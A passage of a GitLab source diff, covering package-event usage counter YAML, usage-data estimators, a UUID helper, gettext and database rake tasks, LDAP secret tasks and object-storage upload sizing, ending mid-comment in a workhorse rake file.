redis_slot: package
-- name: i_package_composer_deploy_token_push
- category: composer_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_debian_deploy_token_push
+ category: debian_packages
aggregation: weekly
redis_slot: package
-- name: i_package_composer_user_delete
- category: composer_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_debian_user_delete
+ category: debian_packages
aggregation: weekly
redis_slot: package
-- name: i_package_composer_deploy_token_delete
- category: composer_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_debian_user_pull
+ category: debian_packages
aggregation: weekly
redis_slot: package
-- name: i_package_composer_user_pull
- category: composer_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_debian_user_push
+ category: debian_packages
aggregation: weekly
redis_slot: package
-- name: i_package_composer_deploy_token_pull
- category: composer_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_generic_deploy_token_delete
+ category: generic_packages
aggregation: weekly
redis_slot: package
-- name: i_package_generic_user_push
+ feature_flag: collect_package_events_redis
+- name: i_package_generic_deploy_token_pull
category: generic_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_generic_deploy_token_push
category: generic_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_generic_user_delete
category: generic_packages
aggregation: weekly
redis_slot: package
-- name: i_package_generic_deploy_token_delete
+ feature_flag: collect_package_events_redis
+- name: i_package_generic_user_pull
category: generic_packages
aggregation: weekly
redis_slot: package
-- name: i_package_generic_user_pull
+ feature_flag: collect_package_events_redis
+- name: i_package_generic_user_push
category: generic_packages
aggregation: weekly
redis_slot: package
-- name: i_package_generic_deploy_token_pull
- category: generic_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_golang_deploy_token_delete
+ category: golang_packages
aggregation: weekly
redis_slot: package
-- name: i_package_golang_user_push
+ feature_flag: collect_package_events_redis
+- name: i_package_golang_deploy_token_pull
category: golang_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_golang_deploy_token_push
category: golang_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_golang_user_delete
category: golang_packages
aggregation: weekly
redis_slot: package
-- name: i_package_golang_deploy_token_delete
+ feature_flag: collect_package_events_redis
+- name: i_package_golang_user_pull
category: golang_packages
aggregation: weekly
redis_slot: package
-- name: i_package_golang_user_pull
+ feature_flag: collect_package_events_redis
+- name: i_package_golang_user_push
category: golang_packages
aggregation: weekly
redis_slot: package
-- name: i_package_golang_deploy_token_pull
- category: golang_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_maven_deploy_token_delete
+ category: maven_packages
aggregation: weekly
redis_slot: package
-- name: i_package_debian_user_push
- category: debian_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_maven_deploy_token_pull
+ category: maven_packages
aggregation: weekly
redis_slot: package
-- name: i_package_debian_deploy_token_push
- category: debian_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_maven_deploy_token_push
+ category: maven_packages
aggregation: weekly
redis_slot: package
-- name: i_package_debian_user_delete
- category: debian_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_maven_user_delete
+ category: maven_packages
aggregation: weekly
redis_slot: package
-- name: i_package_debian_deploy_token_delete
- category: debian_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_maven_user_pull
+ category: maven_packages
aggregation: weekly
redis_slot: package
-- name: i_package_debian_user_pull
- category: debian_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_maven_user_push
+ category: maven_packages
aggregation: weekly
redis_slot: package
-- name: i_package_debian_deploy_token_pull
- category: debian_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_npm_deploy_token_delete
+ category: npm_packages
aggregation: weekly
redis_slot: package
-- name: i_package_container_user_push
- category: container_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_npm_deploy_token_pull
+ category: npm_packages
aggregation: weekly
redis_slot: package
-- name: i_package_container_deploy_token_push
- category: container_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_npm_deploy_token_push
+ category: npm_packages
aggregation: weekly
redis_slot: package
-- name: i_package_container_user_delete
- category: container_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_npm_user_delete
+ category: npm_packages
aggregation: weekly
redis_slot: package
-- name: i_package_container_deploy_token_delete
- category: container_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_npm_user_pull
+ category: npm_packages
aggregation: weekly
redis_slot: package
-- name: i_package_container_user_pull
- category: container_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_npm_user_push
+ category: npm_packages
aggregation: weekly
redis_slot: package
-- name: i_package_container_deploy_token_pull
- category: container_packages
+ feature_flag: collect_package_events_redis
+- name: i_package_nuget_deploy_token_delete
+ category: nuget_packages
aggregation: weekly
redis_slot: package
-- name: i_package_tag_user_push
+ feature_flag: collect_package_events_redis
+- name: i_package_nuget_deploy_token_pull
+ category: nuget_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_nuget_deploy_token_push
+ category: nuget_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_nuget_user_delete
+ category: nuget_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_nuget_user_pull
+ category: nuget_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_nuget_user_push
+ category: nuget_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_pypi_deploy_token_delete
+ category: pypi_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_pypi_deploy_token_pull
+ category: pypi_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_pypi_deploy_token_push
+ category: pypi_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_pypi_user_delete
+ category: pypi_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_pypi_user_pull
+ category: pypi_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_pypi_user_push
+ category: pypi_packages
+ aggregation: weekly
+ redis_slot: package
+ feature_flag: collect_package_events_redis
+- name: i_package_tag_deploy_token_delete
category: tag_packages
aggregation: weekly
redis_slot: package
-- name: i_package_tag_deploy_token_push
+ feature_flag: collect_package_events_redis
+- name: i_package_tag_deploy_token_pull
category: tag_packages
aggregation: weekly
redis_slot: package
-- name: i_package_tag_user_delete
+ feature_flag: collect_package_events_redis
+- name: i_package_tag_deploy_token_push
category: tag_packages
aggregation: weekly
redis_slot: package
-- name: i_package_tag_deploy_token_delete
+ feature_flag: collect_package_events_redis
+- name: i_package_tag_user_delete
category: tag_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
- name: i_package_tag_user_pull
category: tag_packages
aggregation: weekly
redis_slot: package
-- name: i_package_tag_deploy_token_pull
+ feature_flag: collect_package_events_redis
+- name: i_package_tag_user_push
category: tag_packages
aggregation: weekly
redis_slot: package
+ feature_flag: collect_package_events_redis
diff --git a/lib/gitlab/usage_data_counters/search_counter.rb b/lib/gitlab/usage_data_counters/search_counter.rb
index 61f98887adc..46aec52b95a 100644
--- a/lib/gitlab/usage_data_counters/search_counter.rb
+++ b/lib/gitlab/usage_data_counters/search_counter.rb
@@ -4,6 +4,7 @@ module Gitlab
module UsageDataCounters
class SearchCounter < BaseCounter
KNOWN_EVENTS = %w[all_searches navbar_searches].freeze
+ PREFIX = nil
class << self
def redis_key(event)
diff --git a/lib/gitlab/usage_data_queries.rb b/lib/gitlab/usage_data_queries.rb
index c54e766230e..b275bdbacde 100644
--- a/lib/gitlab/usage_data_queries.rb
+++ b/lib/gitlab/usage_data_queries.rb
@@ -25,6 +25,13 @@ module Gitlab
relation.select(relation.all.table[column].sum).to_sql
end
+ # For estimated distinct count use exact query instead of hll
+ # buckets query, because it can't be used to obtain estimations without
+ # supplementary ruby code present in Gitlab::Database::PostgresHll::BatchDistinctCounter
+ def estimate_batch_distinct_count(relation, column = nil, *rest)
+ raw_sql(relation, column, :distinct)
+ end
+
private
def raw_sql(relation, column, distinct = nil)
diff --git a/lib/gitlab/user_access.rb b/lib/gitlab/user_access.rb
index eec89e1ab72..0af7ad6ec17 100644
--- a/lib/gitlab/user_access.rb
+++ b/lib/gitlab/user_access.rb
@@ -81,6 +81,10 @@ module Gitlab
end
end
+ def can_push_for_ref?(_)
+ can_do_action?(:push_code)
+ end
+
private
def can_push?
diff --git a/lib/gitlab/utils/usage_data.rb b/lib/gitlab/utils/usage_data.rb
index 5267733d220..0d28a1cd035 100644
--- a/lib/gitlab/utils/usage_data.rb
+++ b/lib/gitlab/utils/usage_data.rb
@@ -38,6 +38,7 @@ module Gitlab
extend self
FALLBACK = -1
+ DISTRIBUTED_HLL_FALLBACK = -2
def count(relation, column = nil, batch: true, batch_size: nil, start: nil, finish: nil)
if batch
@@ -59,6 +60,17 @@ module Gitlab
FALLBACK
end
+ def estimate_batch_distinct_count(relation, column = nil, batch_size: nil, start: nil, finish: nil)
+ Gitlab::Database::PostgresHll::BatchDistinctCounter.new(relation, column).estimate_distinct_count(batch_size: batch_size, start: start, finish: finish)
+ rescue ActiveRecord::StatementInvalid
+ FALLBACK
+ # catch all rescue should be removed as a part of feature flag rollout issue
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/285485
+ rescue StandardError => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error)
+ DISTRIBUTED_HLL_FALLBACK
+ end
+
def sum(relation, column, batch_size: nil, start: nil, finish: nil)
Gitlab::Database::BatchCount.batch_sum(relation, column, batch_size: batch_size, start: start, finish: finish)
rescue ActiveRecord::StatementInvalid
diff --git a/lib/gitlab/uuid.rb b/lib/gitlab/uuid.rb
new file mode 100644
index 00000000000..12a4efabc44
--- /dev/null
+++ b/lib/gitlab/uuid.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Gitlab
+ class UUID
+ NAMESPACE_IDS = {
+ development: "a143e9e2-41b3-47bc-9a19-081d089229f4",
+ test: "a143e9e2-41b3-47bc-9a19-081d089229f4",
+ staging: "a6930898-a1b2-4365-ab18-12aa474d9b26",
+ production: "58dc0f06-936c-43b3-93bb-71693f1b6570"
+ }.freeze
+
+ NAMESPACE_REGEX = /(\h{8})-(\h{4})-(\h{4})-(\h{4})-(\h{4})(\h{8})/.freeze
+ PACK_PATTERN = "NnnnnN".freeze
+
+ class << self
+ def v5(name, namespace_id: default_namespace_id)
+ Digest::UUID.uuid_v5(namespace_id, name)
+ end
+
+ private
+
+ def default_namespace_id
+ @default_namespace_id ||= begin
+ namespace_uuid = NAMESPACE_IDS.fetch(Rails.env.to_sym)
+ # Digest::UUID is broken when using a UUID as a namespace_id
+ # https://github.com/rails/rails/issues/37681#issue-520718028
+ namespace_uuid.scan(NAMESPACE_REGEX).flatten.map { |s| s.to_i(16) }.pack(PACK_PATTERN)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/whats_new.rb b/lib/gitlab/whats_new.rb
deleted file mode 100644
index 69ccb48c544..00000000000
--- a/lib/gitlab/whats_new.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module WhatsNew
- CACHE_DURATION = 1.hour
- WHATS_NEW_FILES_PATH = Rails.root.join('data', 'whats_new', '*.yml')
-
- private
-
- def whats_new_release_items(page: 1)
- Rails.cache.fetch(whats_new_items_cache_key(page), expires_in: CACHE_DURATION) do
- index = page - 1
- file_path = whats_new_file_paths[index]
-
- next if file_path.nil?
-
- file = File.read(file_path)
-
- items = YAML.safe_load(file, permitted_classes: [Date])
-
- items if items.is_a?(Array)
- end
- rescue => e
- Gitlab::ErrorTracking.track_exception(e, page: page)
-
- nil
- end
-
- def whats_new_file_paths
- @whats_new_file_paths ||= Rails.cache.fetch('whats_new:file_paths', expires_in: CACHE_DURATION) do
- Dir.glob(WHATS_NEW_FILES_PATH).sort.reverse
- end
- end
-
- def whats_new_items_cache_key(page)
- filename = /\d*\_\d*\_\d*/.match(whats_new_file_paths&.first)
- "whats_new:release_items:file-#{filename}:page-#{page}"
- end
- end
-end
diff --git a/lib/gitlab_danger.rb b/lib/gitlab_danger.rb
index bbb64e0d5da..ec9dd20ccc0 100644
--- a/lib/gitlab_danger.rb
+++ b/lib/gitlab_danger.rb
@@ -14,6 +14,7 @@ class GitlabDanger
product_analytics
utility_css
pajamas
+ pipeline
].freeze
CI_ONLY_RULES ||= %w[
diff --git a/lib/microsoft_teams/notifier.rb b/lib/microsoft_teams/notifier.rb
index 0b21c355a54..39005f56dcb 100644
--- a/lib/microsoft_teams/notifier.rb
+++ b/lib/microsoft_teams/notifier.rb
@@ -14,7 +14,7 @@ module MicrosoftTeams
response = Gitlab::HTTP.post(
@webhook.to_str,
headers: @header,
- body: body(options)
+ body: body(**options)
)
result = true if response
@@ -27,14 +27,13 @@ module MicrosoftTeams
private
- def body(options = {})
+ def body(title: nil, summary: nil, attachments: nil, activity:)
result = { 'sections' => [] }
- result['title'] = options[:title]
- result['summary'] = options[:summary]
- result['sections'] << MicrosoftTeams::Activity.new(options[:activity]).prepare
+ result['title'] = title
+ result['summary'] = summary
+ result['sections'] << MicrosoftTeams::Activity.new(**activity).prepare
- attachments = options[:attachments]
unless attachments.blank?
result['sections'] << { text: attachments }
end
diff --git a/lib/object_storage/config.rb b/lib/object_storage/config.rb
index cc536ce9b46..f933d4e4866 100644
--- a/lib/object_storage/config.rb
+++ b/lib/object_storage/config.rb
@@ -93,6 +93,11 @@ module ObjectStorage
private
+ # This returns a Hash of HTTP encryption headers to send along to S3.
+ #
+ # They can also be passed in as Fog::AWS::Storage::File attributes, since there
+ # are aliases defined for them:
+ # https://github.com/fog/fog-aws/blob/ab288f29a0974d64fd8290db41080e5578be9651/lib/fog/aws/models/storage/file.rb#L24-L25
def aws_server_side_encryption_headers
{
'x-amz-server-side-encryption' => server_side_encryption,
diff --git a/lib/object_storage/direct_upload.rb b/lib/object_storage/direct_upload.rb
index b5864382299..3a8fa51e198 100644
--- a/lib/object_storage/direct_upload.rb
+++ b/lib/object_storage/direct_upload.rb
@@ -184,15 +184,20 @@ module ObjectStorage
private
def rounded_multipart_part_size
- # round multipart_part_size up to minimum_mulitpart_size
+ # round multipart_part_size up to minimum_multipart_size
(multipart_part_size + MINIMUM_MULTIPART_SIZE - 1) / MINIMUM_MULTIPART_SIZE * MINIMUM_MULTIPART_SIZE
end
def multipart_part_size
+ return MINIMUM_MULTIPART_SIZE if maximum_size == 0
+
maximum_size / number_of_multipart_parts
end
def number_of_multipart_parts
+ # If we don't have max length, we can only assume the file is as large as possible.
+ return MAXIMUM_MULTIPART_PARTS if maximum_size == 0
+
[
# round maximum_size up to minimum_mulitpart_size
(maximum_size + MINIMUM_MULTIPART_SIZE - 1) / MINIMUM_MULTIPART_SIZE,
@@ -201,7 +206,7 @@ module ObjectStorage
end
def requires_multipart_upload?
- config.aws? && !has_length
+ config.aws? && !has_length && !use_workhorse_s3_client?
end
def upload_id
diff --git a/lib/product_analytics/tracker.rb b/lib/product_analytics/tracker.rb
index 2dc5e1f53ce..d4a88b879f0 100644
--- a/lib/product_analytics/tracker.rb
+++ b/lib/product_analytics/tracker.rb
@@ -7,36 +7,5 @@ module ProductAnalytics
# The collector URL minus protocol and /i
COLLECTOR_URL = Gitlab.config.gitlab.url.sub(/\Ahttps?\:\/\//, '') + '/-/collector'
-
- class << self
- include Gitlab::Utils::StrongMemoize
-
- def event(category, action, label: nil, property: nil, value: nil, context: nil)
- return unless enabled?
-
- snowplow.track_struct_event(category, action, label, property, value, context, (Time.now.to_f * 1000).to_i)
- end
-
- private
-
- def enabled?
- Gitlab::CurrentSettings.usage_ping_enabled?
- end
-
- def project_id
- Gitlab::CurrentSettings.self_monitoring_project_id
- end
-
- def snowplow
- strong_memoize(:snowplow) do
- SnowplowTracker::Tracker.new(
- SnowplowTracker::AsyncEmitter.new(COLLECTOR_URL, protocol: Gitlab.config.gitlab.protocol),
- SnowplowTracker::Subject.new,
- Gitlab::Tracking::SNOWPLOW_NAMESPACE,
- project_id.to_s
- )
- end
- end
- end
end
end
diff --git a/lib/quality/test_level.rb b/lib/quality/test_level.rb
index b239b6812ca..45cfa9b373d 100644
--- a/lib/quality/test_level.rb
+++ b/lib/quality/test_level.rb
@@ -21,6 +21,9 @@ module Quality
config
db
dependencies
+ elastic
+ elastic_integration
+ experiments
factories
finders
frontend
@@ -46,7 +49,6 @@ module Quality
validators
views
workers
- elastic_integration
tooling
],
integration: %w[
diff --git a/lib/tasks/gettext.rake b/lib/tasks/gettext.rake
index e2c92054d62..e03c78d5a40 100644
--- a/lib/tasks/gettext.rake
+++ b/lib/tasks/gettext.rake
@@ -1,39 +1,38 @@
+# frozen_string_literal: true
+
require "gettext_i18n_rails/tasks"
namespace :gettext do
- # Customize list of translatable files
- # See: https://github.com/grosser/gettext_i18n_rails#customizing-list-of-translatable-files
- def files_to_translate
- folders = %W(ee app lib config #{locale_path}).join(',')
- exts = %w(rb erb haml slim rhtml js jsx vue handlebars hbs mustache).join(',')
-
- Dir.glob(
- "{#{folders}}/**/*.{#{exts}}"
- )
- end
-
- # Disallow HTML from translatable strings
- # See: https://docs.gitlab.com/ee/development/i18n/externalization.html#html
- def html_todolist
- return @html_todolist if defined?(@html_todolist)
-
- @html_todolist = YAML.load_file(Rails.root.join('lib/gitlab/i18n/html_todo.yml'))
- end
-
task :compile do
# See: https://gitlab.com/gitlab-org/gitlab-foss/issues/33014#note_31218998
- FileUtils.touch(File.join(Rails.root, 'locale/gitlab.pot'))
+ FileUtils.touch(pot_file_path)
Rake::Task['gettext:po_to_json'].invoke
end
desc 'Regenerate gitlab.pot file'
task :regenerate do
- pot_file = 'locale/gitlab.pot'
- # Remove all translated files, this speeds up finding
- FileUtils.rm Dir['locale/**/gitlab.*']
+ ensure_locale_folder_presence!
+
+ # Clean up folders that do not contain a gitlab.po file
+ Pathname.new(locale_path).children.each do |child|
+ next unless child.directory?
+
+ folder_path = child.to_path
+
+ if File.exist?("#{folder_path}/gitlab.po")
+ # remove all translated files to speed up finding
+ FileUtils.rm Dir["#{folder_path}/gitlab.*"]
+ else
+ # remove empty translation folders so we don't generate un-needed .po files
+ puts "Deleting #{folder_path} as it does not contain a 'gitlab.po' file."
+
+ FileUtils.rm_r folder_path
+ end
+ end
+
# remove the `pot` file to ensure it's completely regenerated
- FileUtils.rm_f pot_file
+ FileUtils.rm_f(pot_file_path)
Rake::Task['gettext:find'].invoke
@@ -42,10 +41,12 @@ namespace :gettext do
raise 'failed to cleanup generated locale/*/gitlab.po files'
end
+ raise 'gitlab.pot file not generated' unless File.exist?(pot_file_path)
+
# Remove timestamps from the pot file
- pot_content = File.read pot_file
+ pot_content = File.read pot_file_path
pot_content.gsub!(/^"POT?\-(?:Creation|Revision)\-Date\:.*\n/, '')
- File.write pot_file, pot_content
+ File.write pot_file_path, pot_content
puts <<~MSG
All done. Please commit the changes to `locale/gitlab.pot`.
@@ -64,11 +65,10 @@ namespace :gettext do
linters = files.map do |file|
locale = File.basename(File.dirname(file))
- Gitlab::I18n::PoLinter.new(po_path: file, html_todolist: html_todolist, locale: locale)
+ Gitlab::I18n::PoLinter.new(po_path: file, locale: locale)
end
- pot_file = Rails.root.join('locale/gitlab.pot')
- linters.unshift(Gitlab::I18n::PoLinter.new(po_path: pot_file, html_todolist: html_todolist))
+ linters.unshift(Gitlab::I18n::PoLinter.new(po_path: pot_file_path))
failed_linters = linters.select { |linter| linter.errors.any? }
@@ -84,12 +84,11 @@ namespace :gettext do
end
task :updated_check do
- pot_file = 'locale/gitlab.pot'
# Removing all pre-translated files speeds up `gettext:find` as the
# files don't need to be merged.
# Having `LC_MESSAGES/gitlab.mo files present also confuses the output.
FileUtils.rm Dir['locale/**/gitlab.*']
- FileUtils.rm_f pot_file
+ FileUtils.rm_f pot_file_path
# `gettext:find` writes touches to temp files to `stderr` which would cause
# `static-analysis` to report failures. We can ignore these.
@@ -97,18 +96,18 @@ namespace :gettext do
Rake::Task['gettext:find'].invoke
end
- pot_diff = `git diff -- #{pot_file} | grep -E '^(\\+|-)msgid'`.strip
+ pot_diff = `git diff -- #{pot_file_path} | grep -E '^(\\+|-)msgid'`.strip
# reset the locale folder for potential next tasks
`git checkout -- locale`
if pot_diff.present?
raise <<~MSG
- Changes in translated strings found, please update file `#{pot_file}` by running:
+ Changes in translated strings found, please update file `#{pot_file_path}` by running:
bin/rake gettext:regenerate
- Then commit and push the resulting changes to `#{pot_file}`.
+ Then commit and push the resulting changes to `#{pot_file_path}`.
The diff was:
@@ -117,6 +116,27 @@ namespace :gettext do
end
end
+ private
+
+ # Customize list of translatable files
+ # See: https://github.com/grosser/gettext_i18n_rails#customizing-list-of-translatable-files
+ def files_to_translate
+ folders = %W(ee app lib config #{locale_path}).join(',')
+ exts = %w(rb erb haml slim rhtml js jsx vue handlebars hbs mustache).join(',')
+
+ Dir.glob(
+ "{#{folders}}/**/*.{#{exts}}"
+ )
+ end
+
+ # Disallow HTML from translatable strings
+ # See: https://docs.gitlab.com/ee/development/i18n/externalization.html#html
+ def html_todolist
+ return @html_todolist if defined?(@html_todolist)
+
+ @html_todolist = YAML.safe_load(File.read(Rails.root.join('lib/gitlab/i18n/html_todo.yml')))
+ end
+
def report_errors_for_file(file, errors_for_file)
puts "Errors in `#{file}`:"
@@ -140,4 +160,21 @@ namespace :gettext do
$stderr.reopen(old_stderr)
old_stderr.close
end
+
+ def ensure_locale_folder_presence!
+ unless Dir.exist?(locale_path)
+ raise <<~MSG
+ Cannot find '#{locale_path}' folder. Please ensure you're running this task from the gitlab repo.
+
+ MSG
+ end
+ end
+
+ def locale_path
+ @locale_path ||= Rails.root.join('locale')
+ end
+
+ def pot_file_path
+ @pot_file_path ||= File.join(locale_path, 'gitlab.pot')
+ end
end
diff --git a/lib/tasks/gitlab/assets.rake b/lib/tasks/gitlab/assets.rake
index ab2d77eeaf0..54e74fd9c8b 100644
--- a/lib/tasks/gitlab/assets.rake
+++ b/lib/tasks/gitlab/assets.rake
@@ -81,7 +81,10 @@ namespace :gitlab do
if head_assets_md5 != master_assets_md5 || !public_assets_webpack_dir_exists
FileUtils.rm_r(Tasks::Gitlab::Assets::PUBLIC_ASSETS_WEBPACK_DIR) if public_assets_webpack_dir_exists
- system('yarn webpack')
+
+ unless system('yarn webpack')
+ abort 'Error: Unable to compile webpack production bundle.'.color(:red)
+ end
end
end
diff --git a/lib/tasks/gitlab/db.rake b/lib/tasks/gitlab/db.rake
index a3f20f31f64..901e349ea31 100644
--- a/lib/tasks/gitlab/db.rake
+++ b/lib/tasks/gitlab/db.rake
@@ -192,16 +192,42 @@ namespace :gitlab do
exit
end
- indexes = if args[:index_name]
- [Gitlab::Database::PostgresIndex.by_identifier(args[:index_name])]
- else
- Gitlab::Database::Reindexing.candidate_indexes.random_few(2)
- end
+ indexes = Gitlab::Database::Reindexing.candidate_indexes
+
+ if identifier = args[:index_name]
+ raise ArgumentError, "Index name is not fully qualified with a schema: #{identifier}" unless identifier =~ /^\w+\.\w+$/
+
+ indexes = indexes.where(identifier: identifier)
+
+ raise "Index not found or not supported: #{args[:index_name]}" if indexes.empty?
+ end
+
+ ActiveRecord::Base.logger = Logger.new(STDOUT) if Gitlab::Utils.to_boolean(ENV['LOG_QUERIES_TO_CONSOLE'], default: false)
Gitlab::Database::Reindexing.perform(indexes)
rescue => e
Gitlab::AppLogger.error(e)
raise
end
+
+ desc 'Check if there have been user additions to the database'
+ task active: :environment do
+ if ActiveRecord::Base.connection.migration_context.needs_migration?
+ puts "Migrations pending. Database not active"
+ exit 1
+ end
+
+ # A list of projects that GitLab creates automatically on install/upgrade
+ # gc = Gitlab::CurrentSettings.current_application_settings
+ seed_projects = [Gitlab::CurrentSettings.current_application_settings.self_monitoring_project]
+
+ if (Project.count - seed_projects.count {|x| !x.nil? }).eql?(0)
+ puts "No user created projects. Database not active"
+ exit 1
+ end
+
+ puts "Found user created projects. Database active"
+ exit 0
+ end
end
end
diff --git a/lib/tasks/gitlab/ldap.rake b/lib/tasks/gitlab/ldap.rake
index 0459de27c96..fe7920c621f 100644
--- a/lib/tasks/gitlab/ldap.rake
+++ b/lib/tasks/gitlab/ldap.rake
@@ -36,5 +36,23 @@ namespace :gitlab do
puts "Successfully updated #{plural_updated_count} out of #{plural_id_count} total"
end
end
+
+ namespace :secret do
+ desc 'GitLab | LDAP | Secret | Write LDAP secrets'
+ task write: [:environment] do
+ content = STDIN.tty? ? STDIN.gets : STDIN.read
+ Gitlab::EncryptedLdapCommand.write(content)
+ end
+
+ desc 'GitLab | LDAP | Secret | Edit LDAP secrets'
+ task edit: [:environment] do
+ Gitlab::EncryptedLdapCommand.edit
+ end
+
+ desc 'GitLab | LDAP | Secret | Show LDAP secrets'
+ task show: [:environment] do
+ Gitlab::EncryptedLdapCommand.show
+ end
+ end
end
end
diff --git a/lib/tasks/gitlab/packages/events.rake b/lib/tasks/gitlab/packages/events.rake
index 3484b9b6072..ca507fb5320 100644
--- a/lib/tasks/gitlab/packages/events.rake
+++ b/lib/tasks/gitlab/packages/events.rake
@@ -5,11 +5,29 @@ namespace :gitlab do
namespace :packages do
namespace :events do
task generate: :environment do
+ Rake::Task["gitlab:packages:events:generate_guest"].invoke
+ Rake::Task["gitlab:packages:events:generate_unique"].invoke
+ rescue => e
+ logger.error("Error building events list: #{e}")
+ end
+
+ task generate_guest: :environment do
logger = Logger.new(STDOUT)
logger.info('Building list of package events...')
- path = File.join(File.dirname(::Gitlab::UsageDataCounters::HLLRedisCounter::KNOWN_EVENTS_PATH), 'package_events.yml')
+ path = Gitlab::UsageDataCounters::GuestPackageEventCounter::KNOWN_EVENTS_PATH
+ File.open(path, "w") { |file| file << guest_events_list.to_yaml }
+
+ logger.info("Events file `#{path}` generated successfully")
+ rescue => e
+ logger.error("Error building events list: #{e}")
+ end
+
+ task generate_unique: :environment do
+ logger = Logger.new(STDOUT)
+ logger.info('Building list of package events...')
+ path = File.join(File.dirname(Gitlab::UsageDataCounters::HLLRedisCounter::KNOWN_EVENTS_PATH), 'package_events.yml')
File.open(path, "w") { |file| file << generate_unique_events_list.to_yaml }
logger.info("Events file `#{path}` generated successfully")
@@ -17,23 +35,34 @@ namespace :gitlab do
logger.error("Error building events list: #{e}")
end
+ private
+
def event_pairs
- ::Packages::Event.event_types.keys.product(::Packages::Event.originator_types.keys)
+ Packages::Event.event_types.keys.product(Packages::Event::EVENT_SCOPES.keys)
end
def generate_unique_events_list
- ::Packages::Event::EVENT_SCOPES.keys.each_with_object([]) do |event_scope, events|
- event_pairs.each do |event_type, originator|
- if name = ::Packages::Event.allowed_event_name(event_scope, event_type, originator)
+ events = event_pairs.each_with_object([]) do |(event_type, event_scope), events|
+ Packages::Event.originator_types.keys.excluding('guest').each do |originator|
+ if name = Packages::Event.allowed_event_name(event_scope, event_type, originator)
events << {
"name" => name,
"category" => "#{event_scope}_packages",
"aggregation" => "weekly",
- "redis_slot" => "package"
+ "redis_slot" => "package",
+ "feature_flag" => "collect_package_events_redis"
}
end
end
end
+
+ events.sort_by { |event| event["name"] }
+ end
+
+ def guest_events_list
+ event_pairs.map do |event_type, event_scope|
+ Packages::Event.allowed_event_name(event_scope, event_type, "guest")
+ end.compact.sort
end
end
end
diff --git a/lib/tasks/gitlab/usage_data.rake b/lib/tasks/gitlab/usage_data.rake
index 6f3db91c2b0..d6f5661d5eb 100644
--- a/lib/tasks/gitlab/usage_data.rake
+++ b/lib/tasks/gitlab/usage_data.rake
@@ -9,5 +9,17 @@ namespace :gitlab do
task dump_sql_in_json: :environment do
puts Gitlab::Json.pretty_generate(Gitlab::UsageDataQueries.uncached_data)
end
+
+ desc 'GitLab | UsageData | Generate usage ping in JSON'
+ task generate: :environment do
+ puts Gitlab::Json.pretty_generate(Gitlab::UsageData.uncached_data)
+ end
+
+ desc 'GitLab | UsageData | Generate usage ping and send it to Versions Application'
+ task generate_and_send: :environment do
+ result = SubmitUsagePingService.new.execute
+
+ puts Gitlab::Json.pretty_generate(result.attributes)
+ end
end
end
diff --git a/lib/tasks/gitlab/user_management.rake b/lib/tasks/gitlab/user_management.rake
new file mode 100644
index 00000000000..f47e549e795
--- /dev/null
+++ b/lib/tasks/gitlab/user_management.rake
@@ -0,0 +1,13 @@
+namespace :gitlab do
+ namespace :user_management do
+ desc "GitLab | User management | Update all users of a group with personal project limit to 0 and can_create_group to false"
+ task :disable_project_and_group_creation, [:group_id] => :environment do |t, args|
+ group = Group.find(args.group_id)
+
+ result = User.where(id: group.direct_and_indirect_users_with_inactive.select(:id)).update_all(projects_limit: 0, can_create_group: false)
+ ids_count = group.direct_and_indirect_users_with_inactive.count
+ puts "Done".color(:green) if result == ids_count
+ puts "Something went wrong".color(:red) if result != ids_count
+ end
+ end
+end
diff --git a/lib/tasks/gitlab/workhorse.rake b/lib/tasks/gitlab/workhorse.rake
index 15084a118b7..2d72a01f66f 100644
--- a/lib/tasks/gitlab/workhorse.rake
+++ b/lib/tasks/gitlab/workhorse.rake
@@ -8,18 +8,25 @@ namespace :gitlab do
abort %(Please specify the directory where you want to install gitlab-workhorse:\n rake "gitlab:workhorse:install[/home/git/gitlab-workhorse]")
end
+ # It used to be the case that the binaries in the target directory match
+ # the source code. An administrator could run `make` to rebuild the
+ # binaries for instance. Or they could read the source code, or run `git
+ # log` to see what changed. Or they could patch workhorse for some
+ # reason and recompile it. None of those things make sense anymore once
+ # the transition in https://gitlab.com/groups/gitlab-org/-/epics/4826 is
